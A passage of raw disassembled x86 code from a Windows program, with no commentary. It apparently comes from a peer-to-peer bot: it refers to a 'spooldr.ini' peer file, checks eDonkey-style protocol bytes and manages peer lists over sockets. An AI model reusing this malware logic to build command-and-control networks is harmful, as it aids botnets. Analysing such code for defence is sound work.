locret_40B013:				; CODE XREF: sub_40AFFA+6j
		retn	8
sub_40AFFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B016	proc near		; CODE XREF: sub_40B7CD+2Fp

var_1024	= dword	ptr -1024h
var_20		= word ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_4011B0
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_1024]
		xor	ebx, ebx
		lea	edi, [esi+0A0h]
		push	eax
		mov	ecx, edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_1024],	ebx
		call	sub_40D686
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		mov	[ebp+var_4], ebx
		call	sub_40D6D7
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1024]
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_4181A4
		cmp	eax, ebx
		mov	[ebp+arg_8], eax
		jle	short loc_40B0F9
		lea	eax, [ebp+var_1024]
		push	eax
		mov	ecx, edi
		call	sub_40D6C2
		test	al, al
		jz	short loc_40B0F9
		lea	ebx, [esi+0ACh]
		push	ebx
		mov	[ebp+var_20], 2
		mov	[ebp+var_8], 10h
		call	ds:dword_4180DC
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	[ebp+arg_4]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_40D8A6
		push	ebx
		mov	[ebp+arg_8], eax
		call	ds:dword_4180E0
		cmp	[ebp+arg_8], 0
		jle	short loc_40B0F9
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_40AFFA
		push	[ebp+var_1C]
		call	ds:dword_4181B0
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ebp-1Eh]
		mov	[ecx], eax
		call	ds:dword_4181A8
		mov	ecx, [ebp+arg_10]
		movzx	eax, ax
		mov	[ecx], eax


loc_40B0F9:				; CODE XREF: sub_40B016+62j
					; sub_40B016+74j ...
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_40B016	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B103	proc near		; CODE XREF: sub_40BD87+191p
					; sub_40BD87+1DFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, [esp+8+arg_0]
		jmp	short loc_40B119
; ---------------------------------------------------------------------------


loc_40B10F:				; CODE XREF: sub_40B103+18j
		push	[esp+8+arg_8]
		call	ds:dword_4180C8


loc_40B119:				; CODE XREF: sub_40B103+Aj
		cmp	[edi], esi
		jg	short loc_40B10F
		pop	edi
		pop	esi
		retn	0Ch
sub_40B103	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B122	proc near		; CODE XREF: sub_40B199+Cp
		push	esi
		mov	esi, ecx
		push	esi
		call	ds:dword_4180D4
		xor	eax, eax
		mov	[esi+11Ch], eax
		push	100h
		push	eax
		mov	[esi+118h], eax
		lea	eax, [esi+18h]
		push	eax
		call	sub_40CCD9
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_40B122	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_4015F3+Fp
					; sub_401E21+17p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	0FFFFFFFFh
		push	dword ptr [esi]
		call	ds:dword_4180B8
		push	dword ptr [esi]
		mov	ebx, eax
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	ds:dword_4180A4
		pop	esi
		mov	al, bl
		pop	ebx
		retn
sub_40B150	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B173	proc near		; DATA XREF: sub_40B36C+1Do
					; sub_40B3A7+1Bo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		mov	ecx, [eax+8]
		mov	edx, [eax+10h]
		push	edi
		mov	edi, [eax+14h]
		push	dword ptr [esi+4]
		add	ecx, edi
		call	edx
		push	esi
		call	sub_40D0B6
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
sub_40B173	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B199	proc near		; CODE XREF: sub_40B8DC+14p
					; sub_40B9D7+14p ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+4]
		mov	dword ptr [esi], offset	off_41C15C
		call	sub_40B122
		push	0
		lea	ecx, [esi+124h]
		call	sub_40AFDC
		mov	eax, esi
		pop	esi
		retn
sub_40B199	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1BB	proc near		; DATA XREF: .rdata:0041C160o
		push	0
		push	1
		push	dword ptr [ecx+124h]
		call	ds:dword_418064
		retn
sub_40B1BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1CC	proc near		; DATA XREF: sub_40B51B+11o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_C]
		call	sub_40DD7C
		mov	esi, [ebp+arg_0]
		push	5
		push	dword ptr [esi+8]
		lea	ecx, [ebp+var_C]
		push	dword ptr [esi]
		call	sub_40123F
		test	eax, eax
		jle	short loc_40B214
		push	0
		push	1
		lea	eax, [ebp+arg_0+3]
		push	eax
		lea	ecx, [ebp+var_C]
		mov	byte ptr [ebp+arg_0+3],	0
		call	sub_40DDB5
		push	dword ptr [esi+4]
		mov	ecx, edi
		push	dword ptr [esi]
		call	sub_40A687


loc_40B214:				; CODE XREF: sub_40B1CC+26j
		push	dword ptr [esi+0Ch]
		call	sub_40D0B6
		push	esi
		call	sub_40D0B6
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_C]
		call	sub_40DD92
		pop	edi
		pop	esi
		leave
		retn	4
sub_40B1CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B232	proc near		; CODE XREF: sub_40B41F+34p
					; DATA XREF: .rdata:0041C194o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, ecx
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_401219
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		call	sub_40AFFA
		lea	edi, [esi+0ACh]
		push	edi
		call	ds:dword_4180DC
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	[ebp+arg_C]
		lea	ecx, [esi+0A0h]
		push	[ebp+arg_8]
		call	sub_40D83F
		push	edi
		mov	ebx, eax
		call	ds:dword_4180E0
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		call	sub_40AFFA
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	10h
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B29D	proc near		; DATA XREF: sub_40BFB2+68o

var_34		= word ptr -34h
var_24		= word ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_8], esi
		call	sub_40DD7C
		movzx	eax, word ptr [esi+14h]
		push	0
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_40DA80
		cmp	eax, 0FFFFFFFFh
		lea	ecx, [ebp+var_14]
		jnz	short loc_40B2D2
		call	sub_40DD92
		jmp	loc_40B367
; ---------------------------------------------------------------------------


loc_40B2D2:				; CODE XREF: sub_40B29D+29j
		push	ebx
		push	7FFFFFFFh
		call	sub_40D793
		mov	eax, [ebp+arg_0]
		mov	ebx, ds:dword_4180B0
		push	1
		push	0
		push	dword ptr [eax]
		call	ebx
		test	eax, eax
		jz	short loc_40B35E
		push	edi
		push	10h
		pop	edi


loc_40B2F6:				; CODE XREF: sub_40B29D+86j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	1
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_34], 2
		mov	[ebp+var_4], edi
		call	sub_40DF85
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40B327
		push	1
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ebx
		test	eax, eax
		jnz	short loc_40B2F6
		jmp	short loc_40B35D
; ---------------------------------------------------------------------------


loc_40B327:				; CODE XREF: sub_40B29D+78j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, esi
		mov	[ebp+var_24], 2
		mov	[ebp+var_4], edi
		call	sub_40D94F
		push	[ebp+var_20]
		call	ds:dword_4181B0
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		mov	byte ptr [ecx+0E8h], 1
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]


loc_40B35D:				; CODE XREF: sub_40B29D+88j
		pop	edi


loc_40B35E:				; CODE XREF: sub_40B29D+53j
		lea	ecx, [ebp+var_14]
		call	sub_40DD92
		pop	ebx


loc_40B367:				; CODE XREF: sub_40B29D+30j
		pop	esi
		leave
		retn	4
sub_40B29D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B36C	proc near		; CODE XREF: sub_40B51B+4Ap
					; sub_40BD87+16Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	8
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		xor	ecx, ecx
		push	ecx
		push	eax
		push	offset sub_40B173
		push	ecx
		push	ecx
		mov	[eax], esi
		call	ds:dword_4180BC
		push	eax
		call	ds:dword_4180A4
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn	4
sub_40B36C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3A7	proc near		; CODE XREF: sub_405675+A1p
					; sub_4058DF+C9p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	8
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [esp+8+arg_0]
		mov	[eax+4], ecx
		xor	ecx, ecx
		lea	edi, [esi+4]
		push	edi
		push	ecx
		push	eax
		push	offset sub_40B173
		push	ecx
		push	ecx
		mov	[eax], esi
		call	ds:dword_4180BC
		mov	[esi], eax
		mov	eax, [edi]
		pop	edi
		pop	esi
		retn	4
sub_40B3A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3DA	proc near		; CODE XREF: sub_40BFB2+17Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	8
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [esp+8+arg_0]
		lea	edi, [esi+4]
		push	edi
		push	4
		push	eax
		push	offset sub_40B173
		push	0
		push	0
		mov	[eax], esi
		mov	[eax+4], ecx
		call	ds:dword_4180BC
		push	0FFFFFFF1h
		push	eax
		mov	[esi], eax
		call	ds:dword_4180C4
		push	dword ptr [esi]
		call	ds:dword_4180C0
		mov	eax, [edi]
		pop	edi
		pop	esi
		retn	4
sub_40B3DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B41F	proc near		; CODE XREF: sub_40B7B1+3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+8Ch], 0
		push	edi
		mov	dword ptr [esi], offset	off_41C18C
		mov	dword ptr [esi+68h], offset off_41C164
		jz	short loc_40B463
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi+10h]
		mov	[ebp+var_4], 74BE2A5Dh
		push	7F000001h
		call	sub_40B232
		lea	ecx, [esi+88h]
		call	sub_40B150


loc_40B463:				; CODE XREF: sub_40B41F+1Dj
		cmp	dword ptr [esi+74h], 0
		jz	short loc_40B47A
		push	dword ptr [esi+6Ch]
		call	ds:dword_4180A8
		lea	ecx, [esi+70h]
		call	sub_40B150


loc_40B47A:				; CODE XREF: sub_40B41F+48j
		lea	eax, [esi+0D0h]
		push	eax
		call	ds:dword_4180DC
		lea	ebx, [esi+0C8h]
		mov	edi, [ebx]
		jmp	short loc_40B4AB
; ---------------------------------------------------------------------------


loc_40B491:				; CODE XREF: sub_40B41F+8Ej
		mov	eax, [edi]
		push	eax
		call	sub_40D0B6
		mov	eax, [edi+4]
		pop	ecx
		push	edi
		mov	ecx, ebx
		mov	[ebp+var_4], eax
		call	sub_4041B2
		mov	edi, [ebp+var_4]


loc_40B4AB:				; CODE XREF: sub_40B41F+70j
		test	edi, edi
		jnz	short loc_40B491
		lea	edi, [esi+0D0h]
		push	edi
		call	ds:dword_4180E0
		push	edi
		mov	edi, ds:dword_4180D8
		call	edi
		lea	eax, [esi+0ACh]
		push	eax
		call	edi
		lea	ecx, [esi+0A0h]
		mov	dword ptr [ecx], offset	off_41C128
		call	sub_40DA75
		push	dword ptr [esi+6Ch]
		call	ds:dword_4180A4
		mov	ecx, esi
		call	sub_40A48A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B41F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4F4	proc near		; DATA XREF: .rdata:0041C174o
		mov	al, [ecx+80h]
		retn
sub_40B4F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4FB	proc near		; DATA XREF: .rdata:0041C178o
		mov	eax, [ecx-60h]
		retn
sub_40B4FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4FF	proc near		; DATA XREF: .rdata:0041C17Co
		lea	eax, [ecx-50h]
		retn
sub_40B4FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B503	proc near		; DATA XREF: .rdata:0041C180o
		mov	eax, [ecx-58h]
		retn
sub_40B503	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B507	proc near		; DATA XREF: .rdata:0041C184o
		mov	eax, [ecx-54h]
		retn
sub_40B507	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B50B	proc near		; DATA XREF: .rdata:0041C168o
		add	ecx, 0FFFFFF98h
		jz	short locret_40B516
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]

locret_40B516:				; CODE XREF: sub_40B50B+3j
		retn
sub_40B50B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B517	proc near		; DATA XREF: .rdata:0041C188o
		mov	eax, [ecx-3Ch]
		retn
sub_40B517	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B51B	proc near		; DATA XREF: .rdata:0041C190o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	18h
		mov	esi, ecx
		call	sub_40D0BB
		xor	edx, edx
		cmp	eax, edx
		pop	ecx
		jz	short loc_40B541
		mov	ecx, offset sub_40B1CC
		mov	[eax+8], esi
		mov	[eax+10h], ecx
		mov	[eax+14h], edx
		mov	[eax+4], edx
		mov	esi, eax
		jmp	short loc_40B543
; ---------------------------------------------------------------------------


loc_40B541:				; CODE XREF: sub_40B51B+Fj
		xor	esi, esi


loc_40B543:				; CODE XREF: sub_40B51B+24j
		push	10h
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [esp+4+arg_0]
		mov	[eax], ecx
		mov	ecx, [esp+4+arg_4]
		mov	[eax+4], ecx
		mov	ecx, [esp+4+arg_8]
		mov	[eax+8], ecx
		push	eax
		mov	ecx, esi
		mov	[eax+0Ch], esi
		call	sub_40B36C
		pop	esi
		retn	0Ch
sub_40B51B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56E	proc near		; DATA XREF: sub_40BBB5+A5o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		push	ebx
		push	1
		mov	ebx, ecx
		push	64h
		push	dword ptr [ebx+6Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jz	loc_40B66D
		push	esi
		push	edi
		lea	esi, [ebx+30h]


loc_40B599:				; CODE XREF: sub_40B56E+F7j
		push	0
		mov	[ebp+var_C], 40h
		call	sub_40CFAE
		pop	ecx
		push	esi
		mov	[ebp+var_10], eax
		call	ds:dword_4180DC
		mov	edi, [ebx+28h]
		jmp	short loc_40B60A
; ---------------------------------------------------------------------------


loc_40B5B7:				; CODE XREF: sub_40B56E+9Ej
		mov	esi, [edi]
		mov	eax, [esi+18h]
		mov	edx, [ebp+var_10]
		add	eax, 0Ah
		cmp	edx, eax
		jle	short loc_40B5FF
		cmp	byte ptr [esi+1Dh], 0
		mov	al, [esi+1Ch]
		jz	short loc_40B5D3
		cmp	al, 3
		jmp	short loc_40B5D5
; ---------------------------------------------------------------------------


loc_40B5D3:				; CODE XREF: sub_40B56E+5Fj
		cmp	al, 2


loc_40B5D5:				; CODE XREF: sub_40B56E+63j
		setb	cl
		inc	al
		test	cl, cl
		mov	[esi+1Ch], al
		jz	loc_40B672
		push	dword ptr [esi+14h]
		mov	ecx, ebx
		push	dword ptr [esi+10h]
		mov	[esi+18h], edx
		call	sub_40A639
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_40B60E


loc_40B5FF:				; CODE XREF: sub_40B56E+56j
		test	edi, edi
		jz	short loc_40B60E
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_40B60E


loc_40B60A:				; CODE XREF: sub_40B56E+47j
					; sub_40B56E+120j
		test	edi, edi
		jnz	short loc_40B5B7


loc_40B60E:				; CODE XREF: sub_40B56E+8Fj
					; sub_40B56E+93j ...
		mov	eax, [ebp+var_4]
		dec	[ebp+var_4]
		test	eax, eax
		jnz	short loc_40B627
		lea	ecx, [ebx+48h]
		mov	[ebp+var_4], 96h
		call	sub_409C8E


loc_40B627:				; CODE XREF: sub_40B56E+A8j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		test	eax, eax
		jnz	short loc_40B64C
		lea	eax, [ebx+28h]
		push	eax
		push	offset aSpooldr_ini_0 ;	"spooldr.ini"
		lea	ecx, [ebx+0C4h]
		mov	[ebp+var_8], 384h
		call	sub_4099EF


loc_40B64C:				; CODE XREF: sub_40B56E+C1j
		lea	esi, [ebx+30h]
		push	esi
		call	ds:dword_4180E0
		push	1
		push	64h
		push	dword ptr [ebx+6Ch]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	loc_40B599
		pop	edi
		pop	esi


loc_40B66D:				; CODE XREF: sub_40B56E+20j
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40B672:				; CODE XREF: sub_40B56E+71j
		mov	ecx, esi
		call	nullsub_1
		push	esi
		call	sub_40D0B6
		mov	esi, [edi+4]
		pop	ecx
		push	edi
		lea	ecx, [ebx+28h]
		call	sub_4041B2
		mov	edi, esi
		jmp	loc_40B60A
sub_40B56E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B693	proc near		; CODE XREF: sub_40B8DC+98p
					; sub_40B9D7+A2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0D0h]
		push	edi
		push	eax
		mov	[ebp+var_4], eax
		call	ds:dword_4180DC
		lea	edi, [esi+0C8h]
		mov	esi, [edi]
		jmp	short loc_40B6CE
; ---------------------------------------------------------------------------


loc_40B6B6:				; CODE XREF: sub_40B693+3Dj
		mov	eax, [esi]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax]
		jnz	short loc_40B6C7
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax+4]
		jz	short loc_40B6D6


loc_40B6C7:				; CODE XREF: sub_40B693+2Aj
		test	esi, esi
		jz	short loc_40B6D2
		mov	esi, [esi+4]


loc_40B6CE:				; CODE XREF: sub_40B693+21j
		test	esi, esi
		jnz	short loc_40B6B6


loc_40B6D2:				; CODE XREF: sub_40B693+36j
		xor	bl, bl
		jmp	short loc_40B6E7
; ---------------------------------------------------------------------------


loc_40B6D6:				; CODE XREF: sub_40B693+32j
		push	eax
		call	sub_40D0B6
		pop	ecx
		push	esi
		mov	ecx, edi
		call	sub_4041B2
		mov	bl, 1


loc_40B6E7:				; CODE XREF: sub_40B693+41j
		push	[ebp+var_4]
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	8
sub_40B693	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6F9	proc near		; CODE XREF: sub_40BD87+1C1p
					; sub_40BFB2+152p ...
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+0D0h]
		push	edi
		call	ds:dword_4180DC
		mov	esi, [esi+0C8h]
		jmp	short loc_40B723
; ---------------------------------------------------------------------------


loc_40B712:				; CODE XREF: sub_40B6F9+2Cj
		mov	eax, [esi]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		call	dword ptr [eax+4]
		test	esi, esi
		jz	short loc_40B727
		mov	esi, [esi+4]


loc_40B723:				; CODE XREF: sub_40B6F9+17j
		test	esi, esi
		jnz	short loc_40B712


loc_40B727:				; CODE XREF: sub_40B6F9+25j
		push	edi
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		retn
sub_40B6F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B731	proc near		; CODE XREF: sub_40B7CD+61p
					; sub_40B879+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [ecx+0C8h]
		jmp	short loc_40B753
; ---------------------------------------------------------------------------


loc_40B739:				; CODE XREF: sub_40B731+24j
		mov	eax, [ecx]
		mov	edx, [esp+arg_0]
		cmp	edx, [eax]
		jnz	short loc_40B74C
		mov	edx, [esp+arg_4]
		cmp	edx, [eax+4]
		jz	short locret_40B759


loc_40B74C:				; CODE XREF: sub_40B731+10j
		test	ecx, ecx
		jz	short loc_40B757
		mov	ecx, [ecx+4]


loc_40B753:				; CODE XREF: sub_40B731+6j
		test	ecx, ecx
		jnz	short loc_40B739


loc_40B757:				; CODE XREF: sub_40B731+1Dj
		xor	eax, eax

locret_40B759:				; CODE XREF: sub_40B731+19j
		retn	8
sub_40B731	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B75C	proc near		; CODE XREF: sub_40B787+Fp
		push	esi
		mov	esi, ecx
		jmp	short loc_40B775
; ---------------------------------------------------------------------------


loc_40B761:				; CODE XREF: sub_40B75C+27j
		mov	ecx, esi
		call	sub_40A026
		test	eax, eax
		jz	short loc_40B775
		push	1
		mov	ecx, eax
		call	sub_409FC4


loc_40B775:				; CODE XREF: sub_40B75C+3j
					; sub_40B75C+Ej
		mov	eax, [esi+118h]
		mov	ecx, [esi+11Ch]
		cmp	eax, ecx
		jnz	short loc_40B761
		pop	esi
		retn
sub_40B75C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B787	proc near		; CODE XREF: sub_40B8DC+B3p
					; sub_40B9D7+BDp ...
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+4]
		mov	ecx, edi
		mov	dword ptr [esi], offset	off_41C15C
		call	sub_40B75C
		push	dword ptr [esi+124h]
		call	ds:dword_4180A4
		push	edi
		call	ds:dword_4180D8
		pop	edi
		pop	esi
		retn
sub_40B787	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7B1	proc near		; DATA XREF: .rdata:off_41C18Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40B41F
		test	[esp+4+arg_0], 1
		jz	short loc_40B7C7
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40B7C7:				; CODE XREF: sub_40B7B1+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40B7B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7CD	proc near		; DATA XREF: sub_40BBB5+86o

var_20C		= dword	ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_4180E0
		mov	ebx, ecx


loc_40B7E1:				; CODE XREF: sub_40B7CD+39j
					; sub_40B7CD+84j ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFh
		push	200h
		lea	eax, [ebp+var_20C]
		push	eax
		mov	ecx, ebx
		call	sub_40B016
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_40B7E1
		cmp	eax, 4
		jnz	short loc_40B819
		cmp	[ebp+var_20C], 74BE2A5Dh
		jz	short loc_40B872


loc_40B819:				; CODE XREF: sub_40B7CD+3Ej
		lea	esi, [ebx+0D0h]
		push	esi
		call	ds:dword_4180DC
		push	[ebp+var_C]
		mov	ecx, ebx
		push	[ebp+var_4]
		call	sub_40B731
		test	eax, eax
		jnz	short loc_40B853
		push	esi
		call	edi
		push	[ebp+var_8]
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		mov	ecx, ebx
		push	[ebp+var_4]
		call	sub_40AEE0
		jmp	short loc_40B7E1
; ---------------------------------------------------------------------------


loc_40B853:				; CODE XREF: sub_40B7CD+68j
		push	[ebp+var_C]
		mov	ecx, [eax+8]
		push	[ebp+var_4]
		mov	eax, [ecx]
		push	[ebp+var_8]
		lea	edx, [ebp+var_20C]
		push	edx
		call	dword ptr [eax]
		push	esi
		call	edi
		jmp	loc_40B7E1
; ---------------------------------------------------------------------------


loc_40B872:				; CODE XREF: sub_40B7CD+4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40B7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B879	proc near		; CODE XREF: sub_40B8DC+2Ap
					; sub_40B9D7+2Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0D0h]
		push	edi
		push	eax
		mov	[ebp+var_4], eax
		call	ds:dword_4180DC
		mov	edi, [ebp+arg_4]
		mov	ebx, [ebp+arg_0]
		push	edi
		push	ebx
		mov	ecx, esi
		call	sub_40B731
		test	eax, eax
		jnz	short loc_40B8D8
		push	0Ch
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		push	eax
		lea	ecx, [esi+0C8h]
		mov	[eax], ebx
		mov	[eax+4], edi
		call	sub_4151CB
		mov	bl, 1


loc_40B8C6:				; CODE XREF: sub_40B879+61j
		push	[ebp+var_4]
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40B8D8:				; CODE XREF: sub_40B879+2Aj
		xor	bl, bl
		jmp	short loc_40B8C6
sub_40B879	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8DC	proc near		; DATA XREF: sub_40C149+6Ao

var_128		= byte ptr -128h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		mov	ebx, ecx
		push	edi
		lea	ecx, [ebp+var_128]
		call	sub_40B199
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_128]
		push	eax
		push	dword ptr [esi+4]
		mov	ecx, ebx
		push	dword ptr [esi]
		call	sub_40B879
		push	dword ptr [esi+0Ch]
		mov	ecx, ebx
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40A791
		jmp	loc_40B9BE
; ---------------------------------------------------------------------------


loc_40B922:				; CODE XREF: sub_40B8DC+F3j
		mov	eax, [edi]
		cmp	byte ptr [eax],	0E3h
		jnz	loc_40B9B5
		movzx	ecx, byte ptr [eax+1]
		sub	ecx, 0Bh
		jz	short loc_40B9AA
		dec	ecx
		dec	ecx
		jz	short loc_40B99B
		sub	ecx, 7
		jnz	short loc_40B9B5
		cmp	dword ptr [edi+4], 12h
		jb	short loc_40B9B5
		add	eax, 2
		push	eax
		push	dword ptr [esi+8]
		call	sub_409EAD
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40B9B5
		push	dword ptr [esi+10h]
		call	ds:dword_4180E4
		test	edi, edi
		jz	short loc_40B96D
		push	1
		mov	ecx, edi
		call	sub_409FC4


